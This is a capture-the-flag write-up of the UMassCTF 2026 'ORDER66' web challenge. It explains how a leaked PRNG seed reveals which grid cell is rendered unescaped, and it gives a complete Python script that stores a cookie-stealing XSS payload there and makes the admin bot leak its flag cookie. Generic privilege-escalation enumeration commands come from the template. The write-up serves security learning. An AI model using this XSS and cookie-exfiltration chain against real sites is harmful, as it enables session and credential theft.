← Back to Writeups
HTBN/AWeb

ORDER66

XESXOR8/23/20266 min read
#web#htb#n/a

ORDER66

Platform: Umasscybersec | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-11 | Status: Solved Techniques: admin_bot_console_exfiltration, predictable_prng_reconstruction, share_url_seed_leak, stored_xss_cookie_theft

Summary

Task: a Flask grid stores one user-controlled value per session in Redis, but only one order slot is rendered unsafely and its index is derived from a leaked PRNG seed. Solution: recover the unsafe slot from the shared seed, store JavaScript there, then send the admin bot to the shared URL so console.log(document.cookie) returns the non-httpOnly flag cookie.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: umasscybersec | ID: 20260411_umasscybersec_order66
  • Tags: flask, stored_xss, admin_bot, redis, puppeteer, non_httponly_cookie, predictable_prng
  • Indicators: exactly one reflected/stored slot is rendered with |safe while the others are escaped, the application leaks a stable uid plus seed in a share URL such as /view/<uid>/<seed>, the vulnerable slot is chosen with Python random seeded from attacker-visible data, the admin bot sets a non-httpOnly flag cookie and forwards console.log output
  • Source: 20260411_umasscybersec_order66.md

Foothold

Vulnerability / Misconfiguration

  1. Admin_bot_console_exfiltration
  2. Predictable_prng_reconstruction
  3. Share_url_seed_leak
  4. Stored_xss_cookie_theft
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • admin_bot_console_exfiltration
  • predictable_prng_reconstruction
  • share_url_seed_leak
  • stored_xss_cookie_theft
  • Tags: flask, stored_xss, admin_bot, redis, puppeteer, non_httponly_cookie, predictable_prng

Original Writeup

<details><summary>Click to expand original content</summary>

ORDER66 — UMassCTF 2026

Summary

This challenge is a compact stored XSS bot chain with one extra twist: execution order matters. The title is the hint. There are 66 possible order slots, but only one is rendered with Jinja's |safe, and the application leaks enough state to predict exactly which slot that is.

Once the unsafe slot is known, the rest of the attack is straightforward:

  1. Store <script>console.log(document.cookie)</script> in the one unsafe box,
  2. Send the admin bot to the shared /view/<uid>/<seed> URL,
  3. Let the bot execute the stored XSS,
  4. Steal the flag cookie because it is explicitly set with httpOnly: false,
  5. Read it back because /admin/visit returns Puppeteer's stdout.

Description

Execute Order... wait which one was it?

The page presents a 66-cell grid where only one box may contain data at a time. A share URL is exposed for the current session, and an admin bot can be asked to visit a supplied page.

Source Analysis

Flask application

app.py assigns each visitor a user_id and a numeric seed in the session. The important helper is:

def get_grid_context(uid, seed):
    random.seed(seed)
    v_index = random.randint(1, 66)
    data = {i: (db.get(f"{uid}:box_{i}") or "") for i in range(1, 67)}
    return data, v_index

So the dangerous slot is not random per render in any strong sense. It is fully determined by the leaked seed.

The main page also leaks a share URL directly in the HTML:

value="http://{{ host }}/view/{{ user_id }}/{{ seed }}"

That is enough to recover both values needed to recompute the vulnerable index locally.

Template sink

templates/index.html is where the bug lives:

{% if i == vuln_index %}
    {{ content | safe }}
{% else %}
    {{ content }}
{% endif %}

Only one box is unsafe. Every other box is escaped. That means blind spraying is unreliable, and the intended solve is to determine the exact unsafe slot first.

Seed persistence behavior

After a POST, the app preserves the current seed only if the currently vulnerable box still contains something that looks like a script payload:

is_payload_present = "<script" in current_content.lower() or "alert(" in current_content.lower()
...
if not is_payload_present:
    session['seed'] = random.randint(1000, 9999)
else:
    session['seed'] = current_seed

This behavior rewards placing the payload into the correct slot immediately. If the payload is stored in the vulnerable box, the seed remains stable and the share URL keeps pointing at the same unsafe index.

Admin bot

/admin/visit accepts a URL, rewrites its hostname to the internal Docker service, extracts the last two path components as uid and seed, recomputes the vulnerable index, and launches the Puppeteer bot.

The key feature in app.js is the cookie setup plus console forwarding:

page.on('console', msg => console.log(msg.text()));

await page.setCookie({
    name: 'flag',
    value: FLAG,
    domain: parsedUrl.hostname,
    path: '/',
    httpOnly: false,
    secure: false,
    sameSite: 'Lax'
});

That gives the attacker exactly what they want:

  • JavaScript can read document.cookie.
  • console.log() output is printed server-side.
  • /admin/visit returns process.stdout directly in the HTTP response.

Vulnerability

The exploit chain is the combination of four issues:

  1. Stored XSS sink in exactly one grid cell via {{ content | safe }}.
  2. Predictable slot selection because the unsafe index is random.Random(seed).randint(1, 66).
  3. Seed disclosure because /view/<uid>/<seed> is shown to the user.
  4. Cookie exfiltration through bot logs because the bot sets a non-httpOnly flag cookie and exposes console.log output.

Individually these look small, but together they form a clean intended chain. The main trick is realizing that the title is literal: only the correct order number executes.

Exploitation

Step 1: Request the main page and extract the share URL

The first GET gives us HTML containing:

/view/<uid>/<seed>

Those values are attacker-controlled enough for our purposes because /view accepts arbitrary uid and seed, and the application itself reveals both for our own session.

Step 2: Recompute the unsafe slot locally

Because the app uses Python's PRNG seeded with that visible integer, we can reproduce the selection exactly:

idx = random.Random(int(seed)).randint(1, 66)

Now we know which one of the 66 boxes is rendered with |safe.

Step 3: Store XSS in the correct box

The POST endpoint allows exactly one non-empty box, which fits the challenge theme perfectly. We submit:

<script>console.log(document.cookie)</script>

into box_<idx>.

Because the payload sits in the vulnerable slot, the seed remains unchanged and the shared /view/<uid>/<seed> link continues to target the same unsafe cell.

Step 4: Send the admin bot to the shared page

We then POST the original shared URL to /admin/visit.

The server rewrites the hostname internally, but it still visits the page corresponding to our uid and seed. The bot sets the flag cookie before navigation, so when the page loads our stored JavaScript runs in the correct origin and reads document.cookie.

Step 5: Read the flag from the visit response

Since the bot forwards console events to stdout and /admin/visit returns stdout directly, the HTTP response includes the cookie contents. The successful response contained:

flag=UMASS{REDACTED}

There were extra unrelated log lines in the same response, but the flag cookie value was the only part that mattered.

Reproduction

#!/usr/bin/env python3
import random
import re

import requests

BASE = "http://order66.web.ctf.umasscybersec.org:32768"
PAYLOAD = "<script>console.log(document.cookie)</script>"


def main():
    s = requests.Session()

    r = s.get(f"{BASE}/")
    r.raise_for_status()

    match = re.search(r"/view/([0-9a-f-]+)/(\d+)", r.text)
    if not match:
        raise RuntimeError("share URL not found")

    uid, seed = match.groups()
    seed = int(seed)
    idx = random.Random(seed).randint(1, 66)

    post = s.post(f"{BASE}/", data={f"box_{idx}": PAYLOAD})
    post.raise_for_status()

    visit = s.post(
        f"{BASE}/admin/visit",
        data={"target_url": f"http://order66.web.ctf.umasscybersec.org:32768/view/{uid}/{seed}"},
    )
    visit.raise_for_status()
    print(visit.text)


if __name__ == "__main__":
    main()

Expected result in the response body:

flag=UMASS{REDACTED}
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR